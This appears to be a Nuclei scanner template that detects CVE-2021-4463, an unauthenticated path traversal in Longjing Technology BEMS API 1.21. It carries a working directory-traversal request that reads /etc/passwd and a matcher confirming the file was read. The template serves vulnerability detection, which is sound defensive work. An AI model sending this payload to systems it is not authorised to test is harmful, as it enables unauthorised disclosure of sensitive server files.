Longjing Technology BEMS API 1.21 - Unauthenticated Arbitrary File Download

id: CVE-2021-4463

info:
  name: Longjing Technology BEMS API 1.21 - Unauthenticated Arbitrary File Download
  author: gy741
  severity: high
  description: Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
  impact: |
    Unauthenticated attackers can download sensitive files outside the intended directory, leading to information disclosure.
  remediation: |
    Update to the latest version beyond 1.21.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
    - https://packetstormsecurity.com/files/163702/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-4463
    - https://www.cve.org/CVERecord?id=CVE-2021-4463
    - https://www.exploit-db.com/exploits/50163
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22,CWE-552
    cve-id: CVE-2021-4463
    epss-score: 0.01556
    epss-percentile: 0.74945
  metadata:
    max-request: 1
  tags: cve,cve2021,lfi,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022012a75754cb0c1580ac23578db5350625fb8d9c29ba397b9f88a1c7fc27aef413022100c2415468138cec8c8efab8eec1cef8c27dc4788003916d1250dcda19db53e8a4:922c64590222798bb761d5b6d8e72950